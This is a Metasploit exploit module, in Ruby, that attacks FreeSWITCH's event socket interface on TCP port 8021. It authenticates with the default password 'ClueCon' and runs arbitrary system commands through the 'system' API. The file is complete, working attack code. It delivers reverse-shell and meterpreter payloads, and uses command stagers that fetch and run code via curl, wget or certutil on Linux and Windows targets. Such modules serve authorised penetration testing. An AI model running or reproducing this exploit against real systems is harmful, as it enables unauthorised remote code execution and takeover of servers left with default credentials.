##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'FreeSWITCH Event Socket Command Execution',
      'Description'     => %q{
        This module uses the FreeSWITCH event socket interface
        to execute system commands using the `system` API command.

        The event socket service is enabled by default and listens
        on TCP port 8021 on the local network interface.

        This module has been tested successfully on FreeSWITCH versions:

        1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview virtual machine;
        1.8.4~64bit on Ubuntu 19.04 (x64); and
        1.10.1~64bit on Windows 7 SP1 (EN) (x64).
      },
      'License'         => MSF_LICENSE,
      'Author'          => ['bcoles'],
      'References'      =>
        [
          ['CWE', '260'], # default password, configurable in event_socket.conf.xml
          ['URL', 'https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket']
        ],
      'Platform'        => %w[win linux unix bsd],
      'Arch'            => [ARCH_CMD, ARCH_X86, ARCH_X64],
      'Payload'         => {'BadChars' => "\x00\x0a\x0d\x27\x5c"},
      'CmdStagerFlavor' => %w[curl wget certutil vbs],
      'Targets'         =>
        [
          ['Unix (In-Memory)',
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
            'Type'           => :unix_memory
          ],
          ['Linux (Dropper)',
            'Platform'       => 'linux',
            'Arch'           => [ARCH_X86, ARCH_X64],
            'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
            'Type'           => :linux_dropper
          ],
          ['PowerShell (In-Memory)',
            'Platform'       => 'win',
            'Arch'           => [ARCH_X86, ARCH_X64],
            'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'},
            'Type'           => :psh_memory
          ],
          ['Windows (In-Memory)',
            'Platform'       => 'win',
            'Arch'           => ARCH_CMD,
            'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/reverse_powershell'},
            'Type'           => :win_memory
          ],
          ['Windows (Dropper)',
            'Platform'       => 'win',
            'Arch'           => [ARCH_X86, ARCH_X64],
            'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'},
            'Type'           => :win_dropper
          ]
        ],
      'Privileged'      => false,
      'DefaultOptions'  => { 'RPORT' => 8021 },
      'DisclosureDate'  => '2019-11-03',
      'DefaultTarget'   => 0))
    register_options [
      OptString.new('PASSWORD', [true, 'FreeSWITCH event socket password', 'ClueCon'])
    ]
  end

  def check
    connect
    banner = sock.get_once.to_s
    disconnect

    if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection')
      vprint_error 'Access denied by network ACL'
      return CheckCode::Safe
    end

    unless banner.include?('Content-Type: auth/request')
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

  def auth(password)
    sock.put "auth #{password}\n\n"
    res = sock.get_once.to_s

    unless res.include? 'Content-Type: command/reply'
      fail_with Failure::UnexpectedReply, 'Unexpected reply'
    end

    unless res.include?('Reply-Text: +OK accepted')
      fail_with Failure::NoAccess, 'Login failed'
    end

    print_status 'Login success'
  end

  def execute_command(cmd, opts = {})
    api_function = opts[:foreground] ? 'system' : 'bg_system'

    sock.put "api #{api_function} #{cmd}\n\n"
    res = sock.get_once.to_s

    unless res.include? 'Content-Type: api/response'
      fail_with Failure::UnexpectedReply, 'Unexpected reply'
    end

    vprint_status "Response: #{res}"
  end

  def exploit
    unless check == CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    connect
    banner = sock.get_once.to_s

    auth(datastore['PASSWORD'])

    print_status "Sending payload (#{payload.encoded.length} bytes) ..."

    case target['Type']
    when :unix_memory
      if datastore['PAYLOAD'] == 'cmd/unix/generic'
        execute_command(payload.encoded, foreground: true)
      else
        execute_command(payload.encoded)
      end
    when :win_memory
      if datastore['PAYLOAD'] == 'cmd/windows/generic'
        execute_command(payload.encoded, foreground: true)
      else
        execute_command(payload.encoded)
      end
    when :psh_memory
      execute_command(
        cmd_psh_payload(
          payload.encoded,
          payload_instance.arch.first,
          { :remove_comspec => true, :encode_final_payload => true }
        )
      )
    when :linux_dropper
      execute_cmdstager(:linemax => 1_500)
    when :win_dropper
      execute_cmdstager(:linemax => 1_500)
    end
  ensure
    disconnect unless sock.nil?
  end
end